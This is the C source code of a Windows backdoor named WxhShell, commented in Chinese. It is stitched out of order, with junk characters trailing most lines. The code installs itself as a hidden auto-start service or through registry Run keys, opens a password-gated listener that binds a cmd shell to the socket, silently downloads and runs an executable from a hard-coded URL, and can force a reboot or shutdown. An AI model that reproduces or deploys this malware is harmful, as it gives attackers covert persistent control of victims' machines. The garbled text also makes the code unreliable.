    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4 CX*,7LZ  
    else { pe,c  
    closesocket(wsh); #l;Ekjfz  
    ExitThread(0); "%f>/k;!h.  
    } KN}[N+V>  
    break; lS?f?n^  
    } aE,x>I 7 D  
  // 获取shell 3J'a  
  case 's': { D>G&aQ  
    CmdShell(wsh); NPB':r-8  
    closesocket(wsh); gmLw.|-  
    ExitThread(0); Fof_xv9  
    break; ;quGy3  
  } snEkei|0  
  // 退出 [MiD%FfcNH  
  case 'x': { ]/$tt@h  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); aY {.  
    CloseIt(wsh); xE6y9"}!h  
    break; aD&10b9`  
    } Nc"h8p?  
  // 离开 Ak_;GvC!  
  case 'q': { RM i 2Ip  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); MfL q h  
    closesocket(wsh); "lz!'~im  
    WSACleanup(); G*"N}M1)  
    exit(1); fptW#_V2  
    break; 5;|9bWH  
        } rg'? ?rq  
  } 2l!"OiB.P  
  } v5 9>  
7 1)#'ey  
  // 提示信息 eq@ v2o7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V)a6H^l  
} "RShsJZMH  
  } \JyWKET::_  
C/cGr)|8%  
  return; lo(Ht=d  
} q7)$WXe2LM  
NF a ;  
// shell模块句柄 9m'[52{o  
int CmdShell(SOCKET sock) kfVG@o?o  
{ sO  
STARTUPINFO si; W4#:_R,&,  
ZeroMemory(&si,sizeof(si)); z$<6;2  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ! \gRXP}  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,v6Jr3  
PROCESS_INFORMATION ProcessInfo; sZbzY^P  
char cmdline[]="cmd"; rxz3Mqg  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 43)9iDmJ8<  
  return 0; lGM3?AN  
} CTI(Kh+  
KYl^{F  
// 自身启动模式 cj8r-Vu/N  
int StartFromService(void) P! 3$RO  
{ SP*5 W)6  
typedef struct &t8_J3?Z  
{ {&;b0'!Tf  
  DWORD ExitStatus; =L=#PJAPj  
  DWORD PebBaseAddress; SKtEEFyIR_  
  DWORD AffinityMask; $e;!nI;z  
  DWORD BasePriority; mvL'l)  
  ULONG UniqueProcessId; ]_=HC5"  
  ULONG InheritedFromUniqueProcessId; i&3 0n#  
}   PROCESS_BASIC_INFORMATION; U-? ^B*<  
* c%@f<R~  
PROCNTQSIP NtQueryInformationProcess; =;a4 Dp  
zo5.}mr+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; N1Z8I:  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }?~uAU-  
`kv$B3  
  HANDLE             hProcess; w2,T.3DT  
  PROCESS_BASIC_INFORMATION pbi; xWwPrd  
p%ZiTrA1&D  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0>;#vEF*1  
  if(NULL == hInst ) return 0; e>>G4g  
%~;Q_#CR/K  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); bc4x"]!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); dbuOiZ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); PHK#b.B>a8  
:fYwFD( 9  
  if (!NtQueryInformationProcess) return 0; '=~y'nPG7  
IX*S:7S[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); nMa^Eq#  
  if(!hProcess) return 0; &0eB@8{N  
cMWO_$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; D{4hNO  
JAb?u.,Ns_  
  CloseHandle(hProcess); {^kG<v.vV  
j~E +6f \  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _tReZ(Vw  
if(hProcess==NULL) return 0; u#M)i30j  
:|M/+XPu  
HMODULE hMod; N39nJqo>"  
char procName[255]; q-G|@6O  
unsigned long cbNeeded; y9L#@   
;F""}wzn  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ZQkw}3*n  
"k<:a2R  
  CloseHandle(hProcess); 8T)zB6ng  
iW}l[g8sw!  
if(strstr(procName,"services")) return 1; // 以服务启动 4LEE /  
hu|hOr8  
  return 0; // 注册表启动 -k <9v.:  
} LZ)m](+M  
S@g/Tn  
// 主模块 (<3lo ZaX  
int StartWxhshell(LPSTR lpCmdLine) mrC+J*  
{ )6Q0f  
  SOCKET wsl; ~{vdP=/WP  
BOOL val=TRUE; gww^?j#  
  int port=0; n]DNxC@b  
  struct sockaddr_in door; 06^1#M$'  
R2O.}!'  
  if(wscfg.ws_autoins) Install(); R-Q1YHUQM  
!e'0jf-~  
port=atoi(lpCmdLine); 0 BCGJFZ{  
E^ok`wfO  
if(port<=0) port=wscfg.ws_port; " q^#39i?  
n<:d%&^n  
  WSADATA data; [b.'3a++  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; LBkcs4+  
NVJ&C]H6  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   8F^,8kIR  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); vA;F]epr!  
  door.sin_family = AF_INET; T5azYdzJy  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %L j0  
  door.sin_port = htons(port); t\pK`DM-[  
*?bk?*?s  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `_1(Q9Q  
closesocket(wsl); ^+as\  
return 1; 6%kJDY.  
} x$n~f:1Y  
QM ZUt  
  if(listen(wsl,2) == INVALID_SOCKET) { +^*5${g;@H  
closesocket(wsl); ?7uK P}1|  
return 1; z,bX.*.-  
} /> 3  
  Wxhshell(wsl); MkDK/K$s  
  WSACleanup(); ySQ-!fQnP  
{jhmp\PN  
return 0; r]8x;v1  
#P%1{l5m  
} eA?uny f2r  
(/U)> %n  
// 以NT服务方式启动 @VC .>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +9zJlL^A%  
{ DB`$Ru@  
DWORD   status = 0; n @ &"+  
  DWORD   specificError = 0xfffffff; d&|z=%9xl  
I7dm \|#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %j'G.*TD  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; S jVsF1d_  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; VYamskK[G:  
  serviceStatus.dwWin32ExitCode     = 0; 1Xy8|OFc[  
  serviceStatus.dwServiceSpecificExitCode = 0; NoCDY2 $  
  serviceStatus.dwCheckPoint       = 0; rQ~\~g[tP  
  serviceStatus.dwWaitHint       = 0; R:'Ou:Mh  
AH2 _#\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); A*8m8Sh$  
  if (hServiceStatusHandle==0) return; Xhcn]  
*Y85DEA  
status = GetLastError(); 1, "I=  
  if (status!=NO_ERROR) ~;M)qR?]W  
{ w9RF2J  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |[S90Gw]  
    serviceStatus.dwCheckPoint       = 0; (C daE!I4Q  
    serviceStatus.dwWaitHint       = 0; {=UFk-$=  
    serviceStatus.dwWin32ExitCode     = status; Deg!<[Nw  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3k#[(phk  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); >Z+"`"^o}  
    return; %#~((m1  
  } Rn`ld@=p[  
<9P4}`%)3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %35L=d[  
  serviceStatus.dwCheckPoint       = 0; nX0HT )}  
  serviceStatus.dwWaitHint       = 0; t, U) ~wi  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); IY=/` g  
} 1/B]TT  
!fY7"E{%%  
// 处理NT服务事件,比如:启动、停止 2w+U$6e C  
VOID WINAPI NTServiceHandler(DWORD fdwControl) hd+]Ok7"  
{ NJtQx2Sd'H  
switch(fdwControl) .%=V">R  
{ f-;$0mTQ  
case SERVICE_CONTROL_STOP: *LANGQ"2(i  
  serviceStatus.dwWin32ExitCode = 0; 5?WYsj"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; (Uk>?XAr  
  serviceStatus.dwCheckPoint   = 0; Cyq?5\a  
  serviceStatus.dwWaitHint     = 0; [4sEVu}  
  { zh\p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); j5Qo*p  
  } ,P{mk%=9  
  return; =; 0wFwSz  
case SERVICE_CONTROL_PAUSE: 7 8Vcu'j&_  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; A{# Nwd>  
  break; 62)d22  
case SERVICE_CONTROL_CONTINUE: cHx%Nd\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Mi+H#xx16  
  break; S}(8f!9<  
case SERVICE_CONTROL_INTERROGATE: T*?s@$)m4  
  break; 8) N@qUV  
}; >nzu],U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <a4 TO8  
} > _ <'D  
`ltN,?/  
// 标准应用程序主函数 +k.%PO0np  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Xa," 'r  
{ rYY$wA@  
#`(WUn0H?  
// 获取操作系统版本 |Os6V<u"  
OsIsNt=GetOsVer(); CS 8jA\  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %@Oma  
<F;v`h|+S  
  // 从命令行安装 .~>?*}  
  if(strpbrk(lpCmdLine,"iI")) Install(); ).5RPAP  
0V$k7H$Z  
  // 下载执行文件 k1^\|   
if(wscfg.ws_downexe) { PRkS Q4  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 08s_v=cF  
  WinExec(wscfg.ws_filenam,SW_HIDE); #*9-d/K  
} -`b8T0?oK  
 x}TS  
if(!OsIsNt) { [kV;[c}  
// 如果时win9x,隐藏进程并且设置为注册表启动 U!(@q!>G  
HideProc(); )@gZ;`n  
StartWxhshell(lpCmdLine); {sVY`}p|  
} DC+b=IOz  
else z'7[Tie  
  if(StartFromService()) ~g#r6pzN-  
  // 以服务方式启动 $P z`$~  
  StartServiceCtrlDispatcher(DispatchTable); OFk8>"|  
else 6E ~g#(8  
  // 普通方式启动 D&G"BZx|  
  StartWxhshell(lpCmdLine); 6at1bQ$  
1x)ZB~L  
return 0; Fmyj*)J[Z  
} oF]cTAqhC.  
2P#=a?~[  
p;T{i._iL  
1Xu?(2;NF  
=========================================== (*p , T  
`x8J  
7hP<f}xL  
p)aeH`;O  
M`YWn ;  
fhPkEvJ  
" U>Ld~cw  
d^03"t0O]  
#include <stdio.h> Vj<:GRNQ,d  
#include <string.h> E`int?C!  
#include <windows.h> {7u[1[L1  
#include <winsock2.h> c 'uhK8|  
#include <winsvc.h> ">f erhN9  
#include <urlmon.h> [.se|]t7X  
ca i <,3H  
#pragma comment (lib, "Ws2_32.lib") >r`b_K  
#pragma comment (lib, "urlmon.lib") L`f^y;Y.  
>~%e$a7}+  
#define MAX_USER   100 // 最大客户端连接数 'c2W}$q  
#define BUF_SOCK   200 // sock buffer qm/Q65>E  
#define KEY_BUFF   255 // 输入 buffer kiUGZ^k\s  
O[tvR:Nh  
#define REBOOT     0   // 重启 1b=lpw 1}  
#define SHUTDOWN   1   // 关机 d->|EJP  
&'cL%.  
#define DEF_PORT   5000 // 监听端口 T134ZXqqz  
L,y6^J!  
#define REG_LEN     16   // 注册表键长度 !It`+0S b  
#define SVC_LEN     80   // NT服务名长度 R_M?dEtE>  
7Q\|=$2  
// 从dll定义API >U F  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); X%yO5c\l2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); R1Sy9x .  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); l/;X?g5+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *8~86u GU  
c/c$D;T  
// wxhshell配置信息 zJe#m|Z  
struct WSCFG { fXrXV~'8  
  int ws_port;         // 监听端口 [MuEoWrq(}  
  char ws_passstr[REG_LEN]; // 口令 /mo(_  
  int ws_autoins;       // 安装标记, 1=yes 0=no U(~+o  
  char ws_regname[REG_LEN]; // 注册表键名 LYlDc;<A  
  char ws_svcname[REG_LEN]; // 服务名 Ol4+_n8xj  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  hi g2  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 d,Y_GCZ7|W  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 'SQG>F Uy  
int ws_downexe;       // 下载执行标记, 1=yes 0=no y% :4b@<  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7 |DHplI  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 lu Q~YjH  
mPq$?gdp  
}; % ,+leKs  
zYl#4O`=c  
// default Wxhshell configuration  i2~  
struct WSCFG wscfg={DEF_PORT, ,3nN[)dk  
    "xuhuanlingzhe", ^>"z@$|\:  
    1, N},n `Yl.  
    "Wxhshell", _X@v/sAy  
    "Wxhshell", Tw +  
            "WxhShell Service", )BRKZQN  
    "Wrsky Windows CmdShell Service", T#bu V  
    "Please Input Your Password: ", O%r;5kP  
  1, z=$jGL  
  "http://www.wrsky.com/wxhshell.exe", >E*$ E  
  "Wxhshell.exe" Ivb 4P`{  
    }; qKJSj   
b(9FZ]7S  
// 消息定义模块 !UFfsNiXZ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; znJ'iV f  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5xii(\lC  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; A&>.74}p  
char *msg_ws_ext="\n\rExit."; *OQG 4aWy  
char *msg_ws_end="\n\rQuit."; aF7nvu*N  
char *msg_ws_boot="\n\rReboot..."; !ti6  
char *msg_ws_poff="\n\rShutdown..."; < y*x]}  
char *msg_ws_down="\n\rSave to "; jM\*A#Jo5  
D-,L&R!`  
char *msg_ws_err="\n\rErr!"; >MPr=W%E  
char *msg_ws_ok="\n\rOK!"; LdB($4,  
\e`~i@) ~Z  
char ExeFile[MAX_PATH]; Y"KE7>Jf  
int nUser = 0; =|=.>?t6Z0  
HANDLE handles[MAX_USER]; _v* nlc  
int OsIsNt; cW+t#>' r  
&d'Awvy0  
SERVICE_STATUS       serviceStatus; Vx @|O%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; JsotOic%  
`%j~|i)4  
// 函数声明 zq%D/H6J,  
int Install(void); ]^6c8sgnR  
int Uninstall(void); ~b:Rd{  
int DownloadFile(char *sURL, SOCKET wsh); _!|/ ;Nk  
int Boot(int flag); hUm'8)OJ  
void HideProc(void); z~A]9|/61v  
int GetOsVer(void); /y>>JxAEb  
int Wxhshell(SOCKET wsl); B*E2.\~  
void TalkWithClient(void *cs); 2}W0 F2*  
int CmdShell(SOCKET sock); `8FUX= Sh  
int StartFromService(void); +d|mR9^([  
int StartWxhshell(LPSTR lpCmdLine); 57 #6yXQ  
LzCw+@-umw  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); owPm/F  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %e@#ux m  
h;jIYxj  
// 数据结构和表定义 xai4pF-?  
SERVICE_TABLE_ENTRY DispatchTable[] = uB7 V?A  
{ P bQk<"J1  
{wscfg.ws_svcname, NTServiceMain}, Vi$-Bw$@  
{NULL, NULL} 5pn)yk~  
}; ]f1{n  
BT@r!>Nl  
// 自我安装 &Ni`e<mP  
int Install(void) bz | D-.  
{ b pv= %  
  char svExeFile[MAX_PATH]; "HXYNS>  
  HKEY key; $t/x;< .H  
  strcpy(svExeFile,ExeFile); \8uIER5)  
\Y}3cE  
// 如果是win9x系统,修改注册表设为自启动 m%PC8bf`S  
if(!OsIsNt) { ./$cMaDJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HfLLlH<L`&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J6jwBo2m  
  RegCloseKey(key); $u/E\l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rL5z]RY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C4NTh}6t T  
  RegCloseKey(key); P<fnLQ9  
  return 0; =!Q7}z1QI  
    } >*wtbkU  
  } 8KH\`5<  
} v)_nWu  
else { boo }u  
KeNL0_ Pw  
// 如果是NT以上系统,安装为系统服务 /W<>G7%.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); FCkf#  
if (schSCManager!=0) wR{'y)$  
{ a[2vjFf#C  
  SC_HANDLE schService = CreateService |T{C,"9y  
  ( c`fG1s  
  schSCManager, Nl' )l"  
  wscfg.ws_svcname, kapC%/6"  
  wscfg.ws_svcdisp, 4Bl{WyMJ|  
  SERVICE_ALL_ACCESS, G/v/+oX  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [p=*u,-  
  SERVICE_AUTO_START, A*|cdY]HP  
  SERVICE_ERROR_NORMAL, +t2SzQ j>  
  svExeFile, zB? V_aT  
  NULL, \(">K  
  NULL, 0 P[RyQI  
  NULL, '<0J@^vZ  
  NULL, CB&iI'  
  NULL 9 fMau  
  ); mYc.x  
  if (schService!=0) _GKB6e%  
  { oBUxKisW  
  CloseServiceHandle(schService); z5bo_Eq  
  CloseServiceHandle(schSCManager); jLJ1u/l>;  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \cLSf=  
  strcat(svExeFile,wscfg.ws_svcname); Z`&4SH=j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { u0`%+:]0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); r_YIpnJ  
  RegCloseKey(key); >{ me  
  return 0; ,/O[=9l36R  
    } ^2wLxXO6  
  } <|?K%FP7Z  
  CloseServiceHandle(schSCManager); .ZMW>U>  
} <58l;<0  
} "KJ%|pg_C  
8J)xzp`*)  
return 1; 3Oa*%kP+  
} Ys8SDlMo  
%{;Qls%[t  
// 自我卸载 rfw-^`&{  
int Uninstall(void) Eq:2k)BE  
{ hAj1{pA,  
  HKEY key; i*eAdIi  
RwVaZJe)l  
if(!OsIsNt) { k-*Mzm]kb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g=T/_  
  RegDeleteValue(key,wscfg.ws_regname); !,Zp? g)  
  RegCloseKey(key); \(p{t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A>VX*xd  
  RegDeleteValue(key,wscfg.ws_regname); Dr;iQkGP  
  RegCloseKey(key); IHC1G1KW=A  
  return 0; =e?$M  
  } /# <pVgN  
} )IT6vU"-yd  
} iqW1#)3'R  
else { iK{T^vvk  
AnZclqtb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); htP|3B  
if (schSCManager!=0) &6Il(3-^  
{ Lhh;2r/?78  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7~M<cD  
  if (schService!=0) tZ2e!<C  
  { s=Q(C[%I  
  if(DeleteService(schService)!=0) { &Np9kIMCB  
  CloseServiceHandle(schService); _y .]3JNm  
  CloseServiceHandle(schSCManager);  uIMe  
  return 0; =8=!Yc(>  
  } pUl8{YGS  
  CloseServiceHandle(schService); "8V{5e!%j'  
  } &@3m -Z  
  CloseServiceHandle(schSCManager); #pdUJ2)yM  
} Fl>]&x*~  
} %~*jae!f  
mCKk*5ws5"  
return 1; FbACTeB  
} #ZiT-  
3kmeD".  
// 从指定url下载文件 p2x [p  
int DownloadFile(char *sURL, SOCKET wsh) *Dr5O9Y  
{ 8n4V cu  
  HRESULT hr; \Btk;ivg  
char seps[]= "/"; [;O^[Iybf:  
char *token; Y@F  
char *file; AW5iV3  
char myURL[MAX_PATH]; 3}&ZOO   
char myFILE[MAX_PATH]; @kD8^,(oH  
'PdmI<eXQ  
strcpy(myURL,sURL); u@FsLHn  
  token=strtok(myURL,seps); yZ}d+7T}  
  while(token!=NULL) rVA L|0;3  
  { O2-M1sd$  
    file=token; +_HdX w#  
  token=strtok(NULL,seps); oUW<4l  
  } KO]N%]:&~  
igDyp0t  
GetCurrentDirectory(MAX_PATH,myFILE); F@YV]u>N  
strcat(myFILE, "\\"); :h";c"  
strcat(myFILE, file); qJ[@:&:  
  send(wsh,myFILE,strlen(myFILE),0);  YRB%:D@u  
send(wsh,"...",3,0); 'zgvQMu  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); F!KV\?eM$  
  if(hr==S_OK) Na!za'qk[o  
return 0; [^PCm Z6n  
else DOm-)zl{|x  
return 1; I>w^2 (y  
tGqCt9;<  
} & QZVq"  
ehO:')XF  
// 系统电源模块 4u:0n>nJ1  
int Boot(int flag) _GbE ^  
{ ^GXEJU 7U  
  HANDLE hToken; dhR(_  
  TOKEN_PRIVILEGES tkp; )bWrd $X  
u2qV6/  
  if(OsIsNt) { -2NwF4VL  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); T+TF-] J  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); cNP/<8dq  
    tkp.PrivilegeCount = 1; LC'F<MpM  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; lpEDPvD_Vm  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); dm^H5D/A  
if(flag==REBOOT) { kr_oUXiX  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ch,|1}bi  
  return 0; ZzL@[g  
} J@bW^>g*6u  
else { |>s v8/!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) rye)qp|  
  return 0; 2lz {_9  
} .98.G4J>  
  } @P70W<<  
  else { vw r RZ"2  
if(flag==REBOOT) { B8 2,.?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Oc-u=K,B  
  return 0; R@ QQNYU.D  
} EX 9Z{xX  
else { 5^|"_Q#:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) p+D=}O  
  return 0; !1-&Y'+  
} 8?Wgawx  
} F^sw0 .b  
/W9 &Ke  
return 1; H0tF  
} D{svR-~T  
0o;~~\fq.  
// win9x进程隐藏模块 Kfd_uXL>  
void HideProc(void) |B|@GF?:  
{ C "9"{  
3B"7VBK{  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); FAd``9kRT  
  if ( hKernel != NULL ) 4@~a<P#  
  { f#mx:Q.7I  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); KZ4zF  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); G:hU{S7  
    FreeLibrary(hKernel); B$DZ]/<  
  } h+xA?[ c=  
%ph"PR/t?  
return; GMT or  
} :s-EG;.  
~%KM3Vap  
// 获取操作系统版本 E4i@|jE~)  
int GetOsVer(void) @4@PuWI0-  
{ Rd vn)K  
  OSVERSIONINFO winfo; 6ZTaQPtm  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); . o"<N  
  GetVersionEx(&winfo); pzAoq)gg:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9[,s4sxH  
  return 1; W{\EE[XhCf  
  else *78)2)=~  
  return 0; :F9q>  
} y,^";7U  
'Y ,1OK  
// 客户端句柄模块 l JlZHO  
int Wxhshell(SOCKET wsl) P!9;} &  
{ pIvfmIm  
  SOCKET wsh; j;G[%gi6{  
  struct sockaddr_in client; Z/n3aYM  
  DWORD myID; PM8Ks?P#u  
u8^Y,LN  
  while(nUser<MAX_USER) k=ts&9\  
{ A1=_nt)5  
  int nSize=sizeof(client); 2Gm-\o&Td"  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,zD_% ox  
  if(wsh==INVALID_SOCKET) return 1; B%2L1T=  
q;ZLaX\bFl  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }2h't.Z<u  
if(handles[nUser]==0) !5? m  
  closesocket(wsh); T0YDfo  
else E*OG-r   
  nUser++; ' *}^@[&  
  } )`mbf|,&t{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -}E)M}W  
wZ$ tJQO  
  return 0;  WN$R[N  
} G *ds4R?!  
GKiq0*/M  
// 关闭 socket 6k:y$,w  
void CloseIt(SOCKET wsh) O@nqHZ  
{ Q!YF!WoBX  
closesocket(wsh); L+8=P<]  
nUser--; 8^8>qSD1  
ExitThread(0); ';&0~[R[  
} w2 /* `YO  
O+p]3u  
// 客户端请求句柄 xLe =d|6  
void TalkWithClient(void *cs) jYrym-  
{ Cy<T Vk8  
Cca6L9%  
  SOCKET wsh=(SOCKET)cs; iD.0J/  
  char pwd[SVC_LEN]; =Na/3\^WP  
  char cmd[KEY_BUFF]; u\M4`p!g=  
char chr[1]; =x=1uXQv5  
int i,j; Z "-ntx#  
5.O-(eSa0&  
  while (nUser < MAX_USER) { ri#,ec|J  
%I_&Ehu  
if(wscfg.ws_passstr) { y*}AX%8`e~  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _t$lcOT  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Hr /W6C  
  //ZeroMemory(pwd,KEY_BUFF); ylkpYd  
      i=0; &1*4%N@'  
  while(i<SVC_LEN) { ?6 8$3;  
2IKxh  
  // 设置超时 '&N: S-  
  fd_set FdRead; 4\&H?:c.  
  struct timeval TimeOut; V/`#B$6  
  FD_ZERO(&FdRead); axWM|Bw<+  
  FD_SET(wsh,&FdRead); \k|_&hG  
  TimeOut.tv_sec=8; DhY;pG,t  
  TimeOut.tv_usec=0; v;K{|zUdB  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Tq9,c#}&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9+]ZH.(YE  
F"-S~I7'L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); & 6`  
  pwd=chr[0]; UN,<6D3\b  
  if(chr[0]==0xd || chr[0]==0xa) { -$AjD?;   
  pwd=0; 'u4}t5Bu5  
  break; )EhTM-1  
  } FI3sLA  
  i++; } 9MW! Ss  
    } \7|s$ XQ\  
NFdJb\  
  // 如果是非法用户,关闭 socket !JT< (I2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;6DR .2}?>  
} D /,|pC  
o%vIkXw  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;e&hM\p  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lH6Cd/a  
] +}:VaeA  
while(1) { N2[, aU  
1.hOE>A%  
  ZeroMemory(cmd,KEY_BUFF); /AK*aRU^  
j zxf"X-  
      // 自动支持客户端 telnet标准   ;y:#S^|?-z  
  j=0; PiIp<fJd$  
  while(j<KEY_BUFF) { H j>L>6>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); MuCQxzvkhf  
  cmd[j]=chr[0]; \_iH4<#>  
  if(chr[0]==0xa || chr[0]==0xd) { !1ie:z>s  
  cmd[j]=0; jK ?  
  break; eLHa9R{)B  
  } Y;a6:>D%cT  
  j++; +=n x|:no  
    } }e&KO?x+  
*>}McvtTw  
  // 下载文件 TzD:bKE&  
  if(strstr(cmd,"http://")) { rwi2kk#@P  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {GGO')p  
  if(DownloadFile(cmd,wsh)) :ofE8]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Li?{e+g  
  else |Fh`.iT%c  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hEdo,gF*  
  } d\1:1ucV  
  else { "K4X:|Om"  
PuUon6bZ  
    switch(cmd[0]) { ; @[.$Q@I  
